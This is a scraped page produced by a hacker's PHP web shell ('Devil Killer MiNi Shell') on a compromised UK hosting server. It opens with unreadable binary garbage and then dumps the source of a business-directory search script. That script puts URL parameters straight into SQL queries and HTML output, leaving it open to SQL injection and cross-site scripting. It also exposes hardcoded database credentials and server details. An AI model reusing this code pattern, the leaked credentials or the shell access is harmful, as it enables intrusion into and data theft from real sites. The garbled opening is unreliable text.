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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/b2432/rivalkingscross.co.uk/citidirect/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/b2432/rivalkingscross.co.uk/citidirect/converter.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> | CitiDirect Business Directory</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
<link rel="shortcut icon" href="/favicon.ico" />
<script type="text/JavaScript">
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</script>
</head>
<body onLoad="MM_preloadImages('images/home_menu-a.jpg','images/products_menu-a.jpg','images/travel_menu-a.jpg','images/getlisted_menu.jpg','images/contact_menu-a.jpg')">
<table width="734" align="center" style="width:726px">
  <tr> 
    <td width="726" style="height:147px" align="center">
	 <br style="line-height:20px" /> 
	 <span style='font-size:8.5pt; font-family:Tahoma;color:#555554'>
	 <img src="images/logo.jpg" alt="Business Directory" width="190" height="156">
	 <a href="http://www.citidirect.co.uk/"></a><a href="index.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image8','','images/home_menu-a.jpg',1)"><img src="images/home_menu.jpg" alt="Bussinesses in UK" name="Image8" width="104" height="103" border="0"></a>
	 <script type="text/javascript" src="ieupdate.js"></script>
      </span> 
	  <a href="http://www.citidirect.co.uk/products.php"></a><a href="products.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image9','','images/products_menu-a.jpg',1)"><img src="images/products_menu.jpg" alt="CitiDirect Products" name="Image9" width="105" height="103" border="0"></a><a href="http://www.citidirect.co.uk/services.php"></a><a href="services.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image10','','images/travel_menu-a.jpg',1)"><img src="images/travel_menu.jpg" alt="CitiDirect Services" name="Image10" width="104" height="103" border="0"></a><a href="http://www.citidirect.co.uk/getlisted.php"></a><a href="getlisted.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image11','','images/getlisted_menu.jpg',1)"><img src="images/getlisted_menu.jpg" alt="Get Listed" name="Image11" width="106" height="103" border="0"></a><a href="http://www.citidirect.co.uk/contact.php"></a><a href="contact.php" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image12','','images/contact_menu-a.jpg',1)"><img src="images/contact_menu.jpg" alt="Contact Us" name="Image12" width="103" height="103" border="0"></a><br />
	  &nbsp;<br />    
    </td>
  </tr>
  <tr style='mso-yfti-irow:3'>
  <td height="271" valign=top style='padding:0cm 0cm 0cm 0cm'>
  <table width="726" border="0" align="center">
    <tr>
	    <td valign="middle"background="images/backmenu.jpg" width="726" height="94">
	  	<p>&nbsp;</p>
	  	<p>
		<?php
		echo "
		<form action='search.php' method='get'>
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		<input type='text' name='what' tabindex='1' size='18' id='testinput'>
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		<input type='text' name='where' tabindex='2' size='18' id='testinput2'>
		<input type='image' src='images/SearchButtom.jpg' width='44' height='28' tabindex='3'>
		</span>
		</form>";
		?>
		</p>
		<p>&nbsp;</p>
	  </td>
    </tr>
  </table>
		<table width="726" align="center">
			<tr>
				<td background="images/main_top.gif" width="726" height="30">
					<div align="center">
				  <script type="text/javascript"><!--
					google_ad_client = "pub-7980814271857360";
					//CitiDirect.co.uk Linear Ads
					google_ad_slot = "9967319006";
					google_ad_width = 468;
					google_ad_height = 15;
					//-->
				  </script>
				  <script type="text/javascript"
					src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
				  </script>
				  </div>
				</td>
			</tr>
			<tr>
				<td background="images/main_middle.gif" width="726" height="5">
					<table width="700" align="center">
						<tr>
							<td width="560" valign="top">
								<table width="100%">
									<tr>
										<td background="images/bdy_hdr.jpg" width="560" height="42" class="style33">
										<?php $what=$_GET[what];$where=$_GET[where]; echo"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Search results for <b>$what</b> in <b>$where</b>"; ?></td>
									</tr>
									<tr>
										<td background='images/bdy_bdy.jpg' width='560' height='2'>
											<table width='520' align='center'>
												<tr>
													<td width='35%' valign='top'>
														<table width='182' align='center'>
															<tr>
																<td width="182" background='images/e_top.jpg' height="23">
																</td>
															</tr>
															<tr>
																<td width="182" valign="top" background="images/e_bdy.jpg" height="5">
																	<table width="172" align="center">
																		<tr>
																			<td valign="top">
																				<?php
				$what=$_GET[what];
				$where=$_GET[where];
				
		/*----------------------------------------------------------------------------*/
		if (!$what || !$where)
			{echo "<script>window.location='\error.php?what=$what&where=$where'</script>";}
		/*----------------------------------------------------------------------------*/
		
		include("paginator.php");
	    $cstring="SELECT COUNT(*) FROM elisting WHERE company_type LIKE '%$what%' AND company_address LIKE '%$where%'";
	    $conn=mysql_connect("localhost","citidirect","alfadigital")
		or die("Could not connect");
		$database="citidirect_main";
		$db=mysql_select_db($database,$conn);
		if (!$db)
		{
			die("Could not select database");
		}
		$num_rows=mysql_result(mysql_query($cstring,$conn),0);
		if(!$num_rows)
		{echo "No directory listings for $what";}
	    mysql_close($conn);
	    
	    $a = &new  Paginator($_GET['page'],$num_rows);
	    $a->set_Limit(10);
	    $a->set_Links(5);
	    
	    $limit1 = $a->getRange1();
	    $limit2 = $a->getRange2();
	    
	    $search2=getcompany_elisting($what,$where,$limit1,$limit2);
	    if (!$search2)
	    {
	    	echo "<font face='Arial' size='1' color='#555554'>No listings found for <b>{$what}</b></font>";
	    }
	    if ($search2)
	    {
	    	/* Display results in a table */
	    	//echo "<font face='Arial' size='2'><br>Free listings for dental practices in: <b>{$city}</b></font>";
	    	echo "<table border='0' cellspacing='0' width='90%' align='center'>";
	    	echo "<tr><td colspan='5'><hr /></td></tr>";
	    	//echo "<hr />";
	    	for($i=1;$i<=sizeof($search2);$i++)
		    {
				echo "<tr><td colspan='5'><b>{$search2[$i]['company_name']}</b><br>\n
				<font face='Arial' size='1' color='#555554'>{$search2[$i]['company_address']}</font>
				<font face='Arial' size='1' color='#555554'>{$search2[$i]['city_postcode']}</font><br>
				<font face='Arial' size='1' color='#555554'>Tel: </font><font face='Arial' size='1' color='#555554'>{$search2[$i]['phone_no']}<br>
				<hr /></td></tr>";
		    }
		    echo "</table>\n";
	    
	   	//==================================================
		//This shows how to create your links using the output availiable from the
		//Paginator class.  It is a good example to study since it shows most of
		//the information that Paginator can output.
		//==================================================	
		         //check to see if current page is one. If so there will be no link.
				 echo "<font face='Arial' size='1' color='#555554'>";
	    	     if($a->getCurrent()==1)
		    	     {
		        	 $first = "First | ";
			         } else { $first="<a href=\"" .  $a->getPageName() . "?page=" . $a->getFirst() . "&what=$what&where=$where\" style='color:#555554'>First</a> |"; }  
						 //check to see that getPrevious() is returning a value. If not there will be no link.
    		       if($a->getPrevious())
	    	     {
			         $prev = "<a href=\"" .  $a->getPageName() . "?page=" . $a->getPrevious() . "&what=$what&where=$where\" style='color:#555554'>Prev</a> | ";
		         } else { $prev="Prev | "; }
		       //check to see that getNext() is returning a value. If not there will be no link.
	         if($a->getNext())
		         {
		         $next = "<a href=\"" . $a->getPageName() . "?page=" . $a->getNext() . "&what=$what&where=$where\" style='color:#555554'>Next</a> | ";
		         } else { $next="Next | "; }
		
		       //check to see that getLast() is returning a value. If not there will be no link.
		       if($a->getLast())
		         {
		         $last = "<a href=\"" . $a->getPageName() . "?page=" . $a->getLast() . "&what=$what&where=$where\" style='color:#555554'>Last</a>";
		         } else { $last="Last"; }
						 //since these will always exist just print out the values.  Result will be
						 //something like 1 of 4 of 25
				echo "</font>";
		        echo "<font face='Arial' size='1' color='#555554'><div align='center'>";  
				echo $a->getFirstOf() . " to " .$a->getSecondOf() . " of total " . $a->getTotalItems() . " basic listings.";
							//print the values determined by the if statements above.
				echo "</div>";
				echo "<div align=center>";  
		        echo $first . " " . $prev . " " . $next . " " . $last;
		        echo "</div></font>";
					//====================================================
					//end of example
			}
			echo "
																			</td>
																		</tr>
																	</table>
																</td>
															</tr>
															<tr>
																<td width='182' valign='top' background='images/e_ftr.jpg' height='18'>
																</td>
															</tr>
														</table>
																  
		  </td>
          <td width='65%' valign='top'>";
		  
		$search=getcompany_plisting($what,$where);
        if (!$search)
	    {
	    	echo "<font face='Arial' size='1' color='#555554'><br />No sponsored listings for <b>{$what}</b></font>";
	    }
		/*----------------------------------------------------------------------------*/
		if (!$search && !$search2)
			{echo "<script>window.location='\error.php?what=$what&where=$where'</script>";}
		/*----------------------------------------------------------------------------*/
	    if ($search)
	    {
	    	/* Display results in a table */
	    	echo "&nbsp;<br /><table border='0' cellspacing='0' width='340' align='center'>";
	    	//echo "<tr><td colspan='7'><hr /></td></tr>";
	    	for($i=1;$i<=sizeof($search);$i++)
	    	{
				if($search[$i][listing_type]=='1')
				{
					echo "<tr>
					<td colspan='6' background='images\p_hdr.jpg' width='340' height='52'>
						<b>
						<a href='{$search[$i]['website']}' target='_blank' style='text-decoration: none'>
						<font face='Arial' size='2' color='saddlebrown'>&nbsp;&nbsp;{$search[$i]['company_name']}</a></b></font>
						<table width='95%' align='center'>
							<tr>
								<td width='100%'>
									<p align='left'>
						<font face='Arial' size='1' color='midnightblue'>{$search[$i]['tagline1']}&nbsp;<a href='{$search[$i]['link1']}' target='_blank'>{$search[$i]['tagline2']}</a>&nbsp;{$search[$i]['tagline3']}&nbsp;<a href='{$search[$i]['link2']}' target='_blank'>{$search[$i]['tagline4']}</a>&nbsp;{$search[$i]['tagline5']}&nbsp;<a href='{$search[$i]['link3']}' target='_blank'>{$search[$i]['tagline6']}</a>&nbsp;{$search[$i]['tagline7']}&nbsp;<a href='{$search[$i]['link4']}' target='_blank'>{$search[$i]['tagline8']}</a></font>\n<br>
									</p>
								</td>
							</tr>
						</table>
					</td>
					</tr>
					<tr>
						<td colspan='6' width='340'>
							<b>{$search[$i]['company_address']},&nbsp;</b>
						</td>
					</tr>
					<tr>
						<td width='152' height='100' valign='top'>
							<br/><b>{$search[$i]['town_postcode']}</b>
							<br />
							<img src='images/tel.jpg' alt='Business Telephone Number' width='16' height='16'>&nbsp;{$search[$i]['phone_no']}
							<br />
							<img src='images/fax.jpg' alt='Business Fax Number' width='16' height='16'>&nbsp;{$search[$i]['fax_no']}
							<br />&nbsp;<br />
							<div align='center'>
								<a href='{$search[$i]['map']}' target='_blank' style='color:#555554'><img src='images/map.jpg' width='16' height='16' alt='See {$search[$i]['company_name']} on MultiMap'></a>
								&nbsp;&nbsp;
								<a href='mailto:{$search[$i]['email']}' target='_blank' style='color:#555554'><img src='images/mail.jpg' width='16' height='16' alt='Send an email to {$search[$i]['email']}'></a>
								&nbsp;&nbsp;
								<a href='{$search[$i]['website']}' target='_blank' style='color:#555554'><img src='images/website.jpg' width='16' height='16' alt='Go to {$search[$i]['company_name']}&acute;s Homepage'></a>
								&nbsp;&nbsp;
								<a href='info/info.php?ID={$search[$i]['company_id']}&top={$search[$i]['topbanner']}&bottom={$search[$i]['bottombanner']}&fcolor={$search[$i]['textcolor']}&long={$search[$i]['longtitude']}&lat={$search[$i]['latitude']}' target='_blank' style='color:#555554'><img src='images/info.jpg' width='14' height='14' alt='See further information about {$search[$i]['company_name']}'></a>
								&nbsp;&nbsp;
								<a href='getquote.php?cemail={$search[$i]['email']}' target='_blank' style='color:#666666'><img src='images/quote.jpg' width='16' height='16' alt='Get a quotation from {$search[$i]['company_name']}'></a>
								</div>\n
						</td>
						<td width='188' height='100' align='right' valign='top'>
						<a href='{$search[$i]['website']}'><img src='client_images/{$search[$i]['company_logo']}.gif' width='188' height='100' alt='Visit {$search[$i]['company_name']}&acute;s Homepage' /></a>
						</td>
					</tr>";
					echo "<tr><td colspan='7'><hr /></td></tr>";
				}
				else
				{
					echo "<tr>
					<td colspan='6' background='images\p_hdr.jpg' width='340' height='52'>
						<b>
						<a href='{$search[$i]['website']}' target='_blank' style='text-decoration: none'>
						<font face='Arial' size='2' color='saddlebrown'>&nbsp;&nbsp;{$search[$i]['company_name']}</a></b></font>
						<table width='95%' align='center'>
							<tr>
								<td width='100%'>
									<p align='justify'>
						<font face='Arial' size='1' color='midnightblue'>{$search[$i]['tagline1']}&nbsp;<a href='{$search[$i]['link1']}' target='_blank'>{$search[$i]['tagline2']}</a>&nbsp;{$search[$i]['tagline3']}&nbsp;<a href='{$search[$i]['link2']}' target='_blank'>{$search[$i]['tagline4']}</a>&nbsp;{$search[$i]['tagline5']}&nbsp;<a href='{$search[$i]['link3']}' target='_blank'>{$search[$i]['tagline6']}</a>&nbsp;{$search[$i]['tagline7']}&nbsp;<a href='{$search[$i]['link4']}' target='_blank'>{$search[$i]['tagline8']}</a></font>\n<br>
									</p>
								</td>
							</tr>
						</table>
					</td>
					</tr>
					<tr>
						<td colspan='6' width='340'>
							<b>{$search[$i]['company_address']},&nbsp;</b>
						</td>
					</tr>
					<tr>
						<td width='152' height='100' valign='top'>
							<br/><b>{$search[$i]['town_postcode']}</b>
							<br />
							<img src='images/tel.jpg' alt='Business Telephone Number' width='16' height='16'>&nbsp;{$search[$i]['phone_no']}
							<br />
							<img src='images/fax.jpg' alt='Business Fax Number' width='16' height='16'>&nbsp;{$search[$i]['fax_no']}
							<br />&nbsp;<br />
							<div align='center'>
								<a href='{$search[$i]['map']}' target='_blank' style='color:#555554'><img src='images/map.jpg' width='16' height='16' alt='See {$search[$i]['company_name']} on MultiMap'></a>
								&nbsp;&nbsp;
								<a href='mailto:{$search[$i]['email']}' target='_blank' style='color:#555554'><img src='images/mail.jpg' width='16' height='16' alt='Send an email to {$search[$i]['email']}'></a>
								&nbsp;&nbsp;
								<a href='{$search[$i]['website']}' target='_blank' style='color:#555554'><img src='images/website.jpg' width='16' height='16' alt='Go to {$search[$i]['company_name']}&acute;s Homepage'></a>
								&nbsp;&nbsp;
								<a href='getquote.php?cemail={$search[$i]['email']}' target='_blank' style='color:#666666'><img src='images/quote.jpg' width='16' height='16' alt='Get a quotation from {$search[$i]['company_name']}'></a>
								</div>\n
						</td>
						<td width='188' height='100' align='right' valign='top'>
						<a href='{$search[$i]['website']}'><img src='client_images/{$search[$i]['company_logo']}.gif' width='188' height='100' alt='Visit {$search[$i]['company_name']}&acute;s Homepage' /></a>
						</td>
					</tr>";
					echo "<tr><td colspan='7'><hr /></td></tr>";
				}
			}
	    	echo "</table>\n";        
	    }?>														
													</td>
												</tr>
											</table>
										</td>
									</tr>
									<tr>
										<td background="images/bdy_ftr.jpg" width="560" height="24">&nbsp;</td>										
									</tr>
								</table>
							
														
							</td>
							<td width="140" valign="top">
								<table width="100%">
									<tr>
					<td background="images/banner_top.gif" width="140" height="20">&nbsp;</td>
				</tr>
				<tr>
					<td background="images/banner_middle.gif" width="140" height="2" valign="top">
					
						<table width="130" align="right">
							<tr>
								<td width="125" valign="top" align="center">
							  <script type="text/javascript"><!--
								google_ad_client = "pub-7980814271857360";
								google_ad_width = 120;
								google_ad_height = 600;
								google_ad_format = "120x600_as";
								google_ad_type = "text_image";
								google_ad_channel = "";
								google_color_border = "C3D9FF";
								google_color_bg = "FFFFFF";
								google_color_link = "3D81EE";
								google_color_text = "000000";
								google_color_url = "99C9FF";
								google_ui_features = "rc:6";
								//-->
							</script>
							<script type="text/javascript"
							  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
							</script>
									</td></tr></table>
								
					</td>
						</tr>
						<tr>
							<td background="images/banner_down.gif" width="140" height="20"></td>
						</tr>
						</table>

				</td>
			</tr></table>
			<tr>
				<td background="images/main_bottom.gif" width="726" height="30" colspan="2">
					<div align="center"><span class="date"><a href="getlisted.php">Advertise with us</a></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="date"><a href="products.php">Choose your listing</a></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="date"><a href="offers/refer.php">See our latest special offers</a></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="date"><a href="services-hotels.php">Book a hotel</a></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="date"><a href="services.php">Book a flight </a></span>     </div>
				</td>
			</tr>
		</table>
      <table width="100%" height="42" border="0" cellpadding="0">
	    <tr> 
			<td height="10" width="90%">	</td>
		</tr>
        <tr> 
          <td width="90%" height="57" class="ftr nn"> <br /><div style="height:57px; background:url(images/ftr_bg_l.jpg) top left no-repeat"> 
              <div style="height:57px; background:url(images/ftr_bg_r.jpg) top right no-repeat;"> 
                <div style="margin:0px 0px 0px 19px;"> <br style="line-height:15px" />
                  <a href="http://www.citidirect.co.uk/index.php">Home</a> | <a href="http://www.citidirect.co.uk/products.php">Products</a> 
                  | <a href="http://www.citidirect.co.uk/services.php">Services</a> | <a href="http://www.citidirect.co.uk/getlisted.php">Get 
                  Listed</a> | <a href="http://www.citidirect.co.uk/contact.php">Contact Us </a><br />
                  <font color="#666666">CitiDirect.co.uk &copy; 2008. | <a href="family.php">CitiDirect.co.uk Family</a> </font> | <a href="links.php">Links</a> | <a href="http://www.citidirect.co.uk/policy.php">Privacy 
                  Policy</a> | <a href="http://www.citidirect.co.uk/use.php">Terms Of Use</a> </div>
              </div>
            </div></td>
          <td width="10%"><a href="index.php"><img src="images/logo.jpg" width="68" height="56" border="0"></a></td>
        </tr>
      </table>
      <p>&nbsp;</p></td>
  </tr>
</table>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-2215818-7";
urchinTracker();
</script>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-2215818-7";
urchinTracker();
</script>
</body>
</html>

<?php
function getcompany_plisting($what,$where)
{
	$conn=mysql_connect("localhost","citidirect","alfadigital")
	or die("Could not connect");
	$database="citidirect_main";
	$db=mysql_select_db($database,$conn);
	if (!$db)
	{
		die("Could not select database");
	}
	$query="SELECT * FROM plisting WHERE company_type LIKE '%$what%' AND (county_name LIKE '%$where%' OR city_name LIKE '%$where%' OR town_name LIKE '%$where%' OR town_postcode LIKE '%$where%') ORDER BY entry_date";
	//$query="SELECT * FROM plisting WHERE city_name LIKE '%$city%'";
	$result=mysql_query($query,$conn)
	or die("Could not execute query");

	$j=1;
	while ($row=mysql_fetch_assoc($result))
	{
		foreach ($row as $colname => $value)
		{
			$array_multi[$j][$colname]=$value;
		}
		$j++;
	}
	mysql_close($conn);
	return $array_multi;
}
?>

<?php
function getcompany_elisting($what,$where,$limit1,$limit2)
{
	$conn=mysql_connect("localhost","citidirect","alfadigital")
	or die("Could not connect");
	$database="citidirect_main";
	$db=mysql_select_db($database,$conn);
	if (!$db)
	{
		die("Could not select database");
	}
	$query="SELECT * FROM elisting WHERE company_type LIKE '%$what%' AND company_address LIKE '%$where%' ORDER BY RAND() LIMIT $limit1,$limit2";
	//$query="SELECT * FROM elisting WHERE city_name LIKE '%$city%'";
	$result=mysql_query($query,$conn)
	or die("Could not execute query");

	$j=1;
	while ($row=mysql_fetch_assoc($result))
	{
		foreach ($row as $colname => $value)
		{
			$array_multi[$j][$colname]=$value;
		}
		$j++;
	}
	mysql_close($conn);
	return $array_multi;
}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com